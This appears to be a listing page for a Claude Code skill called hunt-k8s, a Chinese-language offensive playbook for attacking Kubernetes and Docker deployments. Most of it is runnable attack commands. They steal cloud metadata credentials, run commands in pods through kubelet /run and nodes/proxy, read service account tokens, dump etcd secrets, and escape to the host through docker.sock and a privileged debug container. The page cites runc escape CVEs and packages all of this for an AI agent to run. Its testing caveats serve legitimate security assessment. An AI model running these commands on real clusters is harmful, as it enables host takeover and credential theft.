关于 hunt-k8s
用于识别和验证 Kubernetes 与 Docker 安全暴露的测试技能,涵盖集群、kubelet、etcd、服务账号令牌、仪表板和容器运行时。它要求证明实际访问或状态变化,而非仅凭状态码判断影响。
主要功能
- 01Kubernetes API 权限检查
- 02kubelet 与 nodes/proxy 测试
- 03未认证 etcd 检查
- 04服务账号令牌评估
- 05Docker 套接字与运行时检查
- 06证据及误报指引
适用场景
- 01验证 Kubernetes 匿名访问权限
- 02测试 kubelet 或 API 代理执行暴露
- 03检查 etcd 与容器套接字的敏感访问
- 04避免更改生产工作负载并确认影响
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-k8s安装后在 Claude Code 中输入/hunt-k8s确认已加载。
详细介绍
HUNT-K8S — Kubernetes 与 Docker 安全
皇冠级目标
K8s API 匿名集群管理员权限 = 完全控制集群。docker.sock + RCE = 主机 root 权限。一次创建特权 Pod,或通过 kubelet /run 执行 shell 命令,就能将单个发现升级为全面失陷。
最高价值的发现:
- K8s API 匿名集群管理员权限 —
system:anonymous/system:unauthenticated被绑定到强大角色(经典错误配置:在ClusterRoleBinding中将system:anonymous绑定到cluster-admin)→ 完全控制kubectl。仅仅匿名请求返回200并不代表有此权限(参见误报部分)。 - Kubelet
10250exec/run —/run会直接返回命令输出;/exec使用 SPDY/WebSocket 流(参见阶段 3)。两者都能 → 在任意 Pod 中执行 RCE → 窃取该 Pod 的 SA 令牌。 - 通过 API 服务器中介的 kubelet RCE —
/api/v1/nodes/<node>/proxy/run/...使用你的(低权限)令牌,经由 API 服务器访问 kubelet;如果 RBAC 授予了nodes/proxy权限,就能在 Pod 中执行 RCE,无需直接连接 10250。2024-2026 年的主要攻击向量。 - etcd
2379未认证访问 — 所有 Secret(SA 令牌、TLS 密钥、应用凭据)都存储于此,通常以明文保存(除非设置了EncryptionConfiguration)→ 完整导出凭据。 - docker.sock 暴露 — SSRF/LFI/RCE 可访问
/var/run/docker.sock→ 创建--privileged容器,将主机/绑定挂载 → 获取主机 root 权限。 - 通过 runc 逃逸容器 — Leaky Vessels(CVE-2024-21626):
WORKDIR/process.cwd指向泄露的/proc/self/fd/<n>主机 FD → 从攻击者控制的镜像或 exec 中逃逸到主机 root 权限。 - 滥用 SA 令牌 — 自动挂载的令牌位于
/var/run/secrets/kubernetes.io/serviceaccount/token;在声称有影响之前,先通过 SelfSubjectRulesReview 检查其实际授权。 - K8s Dashboard 跳过登录 / 无令牌 API — 无需认证即可访问完整的集群管理界面。
OOB / 确认门槛(请先阅读)
K8s 发现属于 RCE/凭据泄露类别。基本原则:证明状态发生了变化或数据被读取,绝不要仅凭状态码推断。
/api/v1/namespaces返回200并不代表有集群管理员权限。API 服务器会向任何能够访问list namespaces的主体返回经过 RBAC 过滤的列表(通常是空的items: []);匿名读取少量资源很常见,影响也较低。通过 SelfSubjectRulesReview / SelfSubjectAccessReview 确认实际权限,然后实际读取 Secret 值。- 10255(只读)与 10250(exec) 经常被混为一谈。10255(HTTP,无需认证)仅会泄露信息 — 它提供
/pods、/stats、/metrics,没有 exec/run。/run和/exec位于 10250(HTTPS)。不要仅凭访问到 10255 就报告「kubelet RCE」。 - 盲注/出站攻击向量需要 OOB 证明。 如果利用 SSRF→IMDS→K8s,或 Pod 的出站连接,请使用 Burp Collaborator / interactsh 子域名确认出站跳转(例如,通过
/run在 Pod 内执行curl http://<token>.<collab>)。延迟响应或回显的 URL 都不是证明。 - 影响证明 = 实际产物。 对于 exec:提供
id/hostname的原始输出。对于 etcd/Secret:提供解码后的令牌字节(在报告中脱敏)。对于 docker.sock 容器逃逸:提供主机文件内容(节点的/etc/hostname,与容器自身的内容不同)。 - 有创建权限时,请使用专用测试命名空间 / 测试 Pod;绝不要为了「证明」RCE 而在生产工作负载中执行命令 — 如果策略允许,请列出 Pod,并在你创建的 Pod 中执行只读的
id;否则,仅执行一次无破坏性的id并立即停止。
阶段 1 — 指纹识别与端口发现
# Common Kubernetes / container ports
PORTS="443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010"
nmap -sV -p $PORTS $TARGET 2>/dev/null | grep open
# API server fingerprint — the /version endpoint is anonymous on most clusters
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:6443/version" # {"major":"1","minor":"29","gitVersion":"v1.29.x"...}
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:6443/api" # APIVersions list, even pre-auth
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:6443/healthz"
# Cloud metadata pivot (reach K8s SA / node creds from an SSRF foothold)
curl --max-time 30 --connect-timeout 10 -s "http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/" # AWS EKS (IMDSv1)
TOK=$(curl --max-time 30 --connect-timeout 10 -s -X PUT "http://[REDACTED_IP]/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60") # IMDSv2
curl --max-time 30 --connect-timeout 10 -s -H "X-aws-ec2-metadata-token: $TOK" "http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/"
curl --max-time 30 --connect-timeout 10 -s "http://[REDACTED_IP]/metadata/instance?api-version=2021-02-01" -H "Metadata: true" # Azure AKS
curl --max-time 30 --connect-timeout 10 -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" # GKE
记录 gitVersion — 它决定了以下每个 CVE 是否适用。
阶段 2 — Kubernetes API 匿名 / 低权限访问
SRV="https://$TARGET:6443"
# 1. What am I? (anonymous → "system:anonymous")
curl --max-time 30 --connect-timeout 10 -sk "$SRV/apis/authentication.k8s.io/v1/selfsubjectreviews" -X POST \
-H 'Content-Type: application/json' \
-d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}'
# 2. What can I actually DO? (the only honest privilege check)
curl --max-time 30 --connect-timeout 10 -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
-H 'Content-Type: application/json' \
-d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"default"}}'
# 3. Targeted access check for the crown-jewel verbs
for R in secrets pods nodes/proxy pods/exec; do
curl --max-time 30 --connect-timeout 10 -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" -X POST \
-H 'Content-Type: application/json' \
-d "{\"kind\":\"SelfSubjectAccessReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"resourceAttributes\":{\"verb\":\"create\",\"resource\":\"${R%%/*}\",\"subresource\":\"${R#*/}\"}}}" \
| grep -o '"allowed":[a-z]*' | sed "s#^#$R #"
done
# 4. Only if access review says allowed — read a real Secret to prove impact
curl --max-time 30 --connect-timeout 10 -sk "$SRV/api/v1/secrets" | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("items",[])),"secrets")'
# decode one value (redact before reporting):
# echo '<base64>' | base64 -d
CVE-2018-1002105(gitVersion < v1.10.11/1.11.5/1.12.3):API 服务器代理升级漏洞允许未认证/低权限用户升级为向后端(kubelet/聚合 API)发送请求时使用 API 服务器身份 → 获取集群管理员权限。在阶段 1 获取 gitVersion 指纹;如果存在漏洞,这是影响最大的一项发现。
阶段 3 — Kubelet(端口 10250)— 先用 /run,正确处理 /exec
此技能的早期版本将 /exec 作为普通 POST 发送,并期望返回 id 输出。这是错误的。 /exec 是一个 SPDY/WebSocket 流式端点:普通 POST 会返回指向流位置的 302 重定向(例如 /cri/exec/<token>),然后你必须使用 SPDY/WebSocket 客户端读取该流。运行旧版 curl 的操作人员什么也看不到,便会错误地得出 kubelet 已打补丁的结论。
SRV="https://$TARGET:10250"
# Enumerate pods (auth varies; many kubelets allow anonymous read here)
curl --max-time 30 --connect-timeout 10 -sk "$SRV/pods" | python3 -m json.tool 2>/dev/null \
| grep -E '"namespace"|"name"|"containerName"' | head -40
NS=default; POD=target-pod; CTR=app
# --- PRIMITIVE A: /run — returns command output DIRECTLY (no stream handling) ---
# This is the simple correct primitive. Use this first.
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=id"
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
# --- PRIMITIVE B: /exec — SPDY/WebSocket stream, NOT a plain POST ---
# Option 1: kubeletctl handles the stream transport for you (recommended)
# kubeletctl --server $TARGET exec "id" -p $POD -c $CTR -n $NS
# kubeletctl --server $TARGET scan rce # finds every exec-able pod
# Option 2: raw — the POST returns a 302 to a stream path; -v to see Location, then
# read it with a SPDY3.1/WebSocket client (wscat / websocat), e.g.:
# curl -sk -i -X POST "$SRV/exec/$NS/$POD/$CTR?command=id&input=1&output=1&tty=0" # shows 302 Location
# websocat -k "wss://$TARGET:10250/cri/exec/<token-from-Location>"
# Container logs (read-only, no stream)
curl --max-time 30 --connect-timeout 10 -sk "$SRV/containerLogs/$NS/$POD/$CTR"
# Read-only kubelet 10255 — INFO DISCLOSURE ONLY, no exec/run. Do not call this "RCE".
curl --max-time 30 --connect-timeout 10 -s "http://$TARGET:10255/pods" | python3 -m json.tool 2>/dev/null | head
curl --max-time 30 --connect-timeout 10 -s "http://$TARGET:10255/metrics" | head
CVE-2020-8558(主机网络信任):在受影响的 kube-proxy 上,绑定到节点 127.0.0.1 的服务(包括只读 kubelet 和其他仅限本地主机访问的服务)可通过节点 IP 从其他 Pod 或相邻主机访问,从而突破本地主机信任边界——这会形成一条通往 kubelet/etcd 的横向路径,而这些服务原本被认为只能通过环回地址访问。
阶段 4 — 通过 API Server 中介访问 Kubelet 并实现 RCE(nodes/proxy)
如果 10250 端口受到防火墙保护,但你持有具有 nodes/proxy 权限的令牌(即使是权限较低的 Pod SA),则可通过 API Server 路由 exec:
SRV="https://$TARGET:6443"; H="-H \"Authorization: Bearer $TOKEN\""
NODE=$(curl --max-time 30 --connect-timeout 10 -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes" | grep -o '"name":"[^"]*"' | head -1 | cut -d'"' -f4)
# /run via the node proxy → output comes straight back
curl --max-time 30 --connect-timeout 10 -sk -X POST -H "Authorization: Bearer $TOKEN" \
"$SRV/api/v1/nodes/$NODE/proxy/run/$NS/$POD/$CTR" -d "cmd=id"
# enumerate every pod on a node via the proxy
curl --max-time 30 --connect-timeout 10 -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes/$NODE/proxy/pods"
任何绑定角色中的 nodes/proxy 实际上都等同于节点范围的 RCE。CVE-2022-3294(kube-apiserver 节点地址验证):经过身份验证的用户可以将 API Server 的代理连接重定向到其能够访问的任意主机/IP(代理至内部网络的 SSRF / 节点身份冒充)——只要你能影响节点地址或使用代理子资源,此问题就值得关注。
阶段 5 — etcd 未授权访问(端口 2379)
# etcd holds ALL cluster state. Secrets are plaintext UNLESS EncryptionConfiguration is set.
ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 get / --prefix --keys-only 2>/dev/null | head -50
ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 \
get /registry/secrets --prefix 2>/dev/null | strings | grep -Ei 'token|password|tls.key|dockerconfig' | head -40
# HTTP/JSON gateway (key/range are base64; "Lw==" == "/")
curl --max-time 30 --connect-timeout 10 -s "http://$TARGET:2379/v3/kv/range" -H 'Content-Type: application/json' \
-d '{"key":"L3JlZ2lzdHJ5L3NlY3JldHM=","range_end":"L3JlZ2lzdHJ5L3NlY3JldHQ=","limit":20}' | python3 -m json.tool
# v2 (older clusters)
curl --max-time 30 --connect-timeout 10 -s "http://$TARGET:2379/v2/keys/?recursive=true" | python3 -m json.tool 2>/dev/null | head
从 etcd 中恢复的 SA 令牌 → 对其进行重放以访问 API Server(阶段 6),确认授权范围。**误报:**来自 etcd 对等端口 2380 的 200 响应,或要求 TLS 的端口返回的握手错误,都不代表客户端可未授权访问——只有成功执行 range/get 并获得键数据才算。
阶段 6 — 滥用服务账户令牌(绑定 / 投射令牌)
# From RCE/LFI inside a pod:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
API="https://kubernetes.default.svc"
# Modern tokens are BOUND (projected): they have an audience + short expiry. DECODE before claiming reuse.
echo "$TOKEN" | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | python3 -m json.tool
# Look at: "aud" (must match the API server audience to be accepted),
# "exp" (projected tokens rotate ~1h — a captured token may already be dead),
# "kubernetes.io/serviceaccount" (pod/node binding — token dies with the pod).
# If aud is e.g. ["vault"] not the api-server audience, it will NOT authenticate to the API → not cluster impact.
# Honest privilege check, then prove with a real read
curl --max-time 30 --connect-timeout 10 -sk "$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d "{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"namespace\":\"$NS\"}}"
curl --max-time 30 --connect-timeout 10 -sk "$API/api/v1/namespaces/$NS/secrets" -H "Authorization: Bearer $TOKEN"
**EphemeralContainers 节点 Shell 提权:**拥有 pods/ephemeralcontainers 权限(或 Pod create 权限)时,可附加一个与主机命名空间共享的调试容器,从而逃离 Pod:
kubectl debug node/$NODE -it --image=busybox # mounts host root at /host → chroot /host
# or patch an ephemeral container with hostPID/privileged via the API:
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$API/api/v1/namespaces/$NS/pods/$POD/ephemeralcontainers" \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/strategic-merge-patch+json' \
-d '{"spec":{"ephemeralContainers":[{"name":"x","image":"busybox","command":["sleep","1d"],"securityContext":{"privileged":true}}]}}'
阶段 7 — Docker 套接字暴露与 runc 容器逃逸
# docker.sock reachable (SSRF unix://, LFI of socket, or RCE on host)
curl --max-time 30 --connect-timeout 10 -s --unix-socket /var/run/docker.sock http://localhost/v1.41/info
curl --max-time 30 --connect-timeout 10 -s --unix-socket /var/run/docker.sock http://localhost/v1.41/containers/json
# Privileged container bind-mounting host root → read/write host fs (host escape)
curl --max-time 30 --connect-timeout 10 -s --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
-X POST http://localhost/v1.41/containers/create?name=poc \
-d '{"Image":"alpine","Cmd":["cat","/host/etc/hostname"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
curl --max-time 30 --connect-timeout 10 -s --unix-socket /var/run/docker.sock -X POST http://localhost/v1.41/containers/poc/start
curl --max-time 30 --connect-timeout 10 -s --unix-socket /var/run/docker.sock "http://localhost/v1.41/containers/poc/logs?stdout=1"
# Impact proof = the NODE's /etc/hostname (differs from the container's hostname).
容器逃逸 CVE(根据 runc/版本进行判断):
- **CVE-2024-21626 — “Leaky Vessels”(runc ≤ 1.1.11):**通过
/proc/self/fd/<n>泄露的主机文件描述符,允许恶意镜像(WORKDIR /proc/self/fd/N)或runc exec的工作目录逃逸到主机文件系统 → 主机 RCE。仅在你控制的镜像上测试,并且仅限可影响 Dockerfile 的构建/镜像仓库环境。 - **CVE-2019-5736(runc):**在可通过 exec 进入的容器内覆盖主机的
/proc/self/exe(runc 二进制文件)→ 下次调用 runc 时获得主机 root 权限。仅适用于非常旧的 runc。 - **CVE-2022-0492(cgroups v1
release_agent):**具有CAP_SYS_ADMIN权限(或能够挂载 cgroupfs)的容器可写入一个会在主机上执行的release_agent→ 逃逸。先检查容器权限。
阶段 8 — Dashboard、Admission、Helm/Tiller 遗留组件
# Kubernetes Dashboard — correct API base is /api/v1/... UNDER the dashboard service.
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:8443/" | grep -i "kubernetes dashboard"
# token-less probe (skip-login or anonymous-bound dashboard SA):
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:8443/api/v1/secret/default" # secrets list view
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:8443/api/v1/pod/default" # pods list view
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:8443/api/v1/namespace" # namespaces
# (paths are <resource> not <resource>/<id>; a 200 with real items = unauth dashboard data access)
# Helm 2 / Tiller remnant — gRPC on 44134, historically NO auth → full cluster as Tiller's SA
nmap -p 44134 -sV $TARGET
# helm --host $TARGET:44134 ls # if it answers, Tiller is exposed → install/delete any release
# Validating/Mutating admission webhooks — enumerate to find bypassable policy or SSRF-able webhook URLs
curl --max-time 30 --connect-timeout 10 -sk "$SRV/apis/admissionregistration.k8s.io/v1/validatingwebhookconfigurations" -H "Authorization: Bearer $TOKEN"
# A webhook clientConfig.url pointing at an external/attacker-influenced host = SSRF/bypass surface.
利用链表
| K8s 发现 | 利用链至 | 影响 |
|---|---|---|
| API 匿名访问且确认可读取密钥 | 提取 SA/TLS/应用凭据 | 完全控制集群 |
nodes/proxy 令牌 | 通过 API Server 中介执行 /run → Pod RCE → SA 令牌 | 节点范围的 RCE → 提权 |
Kubelet 10250 /run | 在任意 Pod 中 exec → 窃取 SA 令牌 → API | 集群权限提升 |
| etcd 2379 未授权访问 | 转储所有 Secret(如果未加密)→ 重放令牌 | 完全转储凭据 |
| docker.sock | 特权容器 + 主机绑定挂载 | 主机 root 权限 |
| CVE-2024-21626(runc) | 恶意镜像/exec → 主机 FD 逃逸 | 从容器到主机 root 权限 |
| EphemeralContainers / pods create | 特权/hostPID 调试容器 | 从 Pod 逃逸到节点 |
| 投射 SA 令牌(aud 匹配) | 访问其真实 RBAC 范围内的 API | 取决于 RBAC — 请先验证 |
| 暴露的 Tiller 44134 | 以 Tiller SA 身份执行 helm install | 如果 Tiller 具有特权,则获得 cluster-admin 权限 |
误报排除要点
- 匿名
200≠ cluster-admin。 经 RBAC 过滤的列表请求会返回200和空的items。需要通过 SelfSubjectRulesReview 确认可用动词,再实际读取 Secret 值。 - 10255 ≠ 10250。 只读 kubelet 不支持 exec/run。“Kubelet RCE”必须来自
/run输出或 10250 上已完成的/exec流。 /exec普通 POST 返回 302,不会返回输出。 看不到响应正文不代表“已修补”——先通过 kubeletctl/websocat 跟踪流,再得出结论。- 投射式/绑定式 SA 令牌可能已失效或 audience 错误。 解码
exp和aud;面向 Vault/OIDC audience 的令牌无法通过 API 服务器认证。 - 不要想当然地认为 etcd 是明文。 如果启用了
EncryptionConfiguration,etcd 中的 Secret 值就是密文——没有展示解码后的字节,就不要声称存在“明文密钥”。 - 受版本限制的 CVE。 在断言存在 CVE-2018-1002105、-2024-21626、-2019-5736 等漏洞前,确认
gitVersion(阶段 1)/runc 版本。版本匹配只是线索;PoC 输出才是证据。 - Dashboard 的 HTML 外壳返回
200只是登录页;只有在/api/v1/<resource>/<ns>下返回包含真实资源数据的200,才能证明无需令牌即可访问数据。
验证清单
- API 匿名访问: SelfSubjectRulesReview 显示特权动词,且已读取真实 Secret 值(已脱敏)。
- Kubelet: 从 10250
/run返回字面量id/hostname输出,或已完成的/exec流——不能只是一个 302。 - nodes/proxy RCE: 使用你的令牌,通过
/api/v1/nodes/<node>/proxy/run/...返回命令输出。 - etcd: 展示已解码的 Secret 字节(证明未加密且可读),而不只是列出键。
- docker.sock/逃逸: 已获取节点(NODE)的主机文件内容(须与容器文件区分),或提供 runc-escape PoC 输出。
- SA 令牌: 已解码并展示有效的
aud/exp;影响范围限定于其实际 RBAC 权限。 - OOB: 通过 Collaborator/interactsh 子域名确认任一出站/SSRF 跳转。
严重性:
- API 匿名访问→读取 Secret、kubelet/nodes-proxy RCE、etcd 转储、docker.sock/runc 逃逸、CVE-2018-1002105:严重
- Dashboard 无令牌数据访问、Tiller 暴露:高
- 只读 kubelet 10255、匿名
/version//pods信息泄露:中
验证
运行此自测,确认已准备好进行 k8s 排查:
-
技能完整性——确认技能文件可读且格式正确:
grep -q "name: hunt-k8s" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查——确认技能已设置类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱部分——确认已记录常见陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
全部 3 项测试均通过,即表示技能结构正确,可以使用。
常见陷阱
- 可匿名访问 kubelet,但无法执行 pod 命令——只读 kubelet 访问属于侦察。还需要 pod 命令执行、日志外传或凭据访问。
- etcd 无需认证,但数据已加密——etcd 可能存储加密后的密钥。声称凭据被盗前,先测试 Secret 解密。
- 无需登录即可访问 Kubernetes Dashboard——Dashboard 的跳过登录选项属于已知配置错误。测试实际的 pod 命令执行能力,而不只是确认可见。
- 枚举 RBAC 却未利用——列出角色只能提供信息。需要证明这些角色允许你执行哪些操作。
- 服务账户令牌没有 cluster-admin 权限——默认服务账户令牌的权限有限。声称已接管集群前,先验证令牌的实际权限。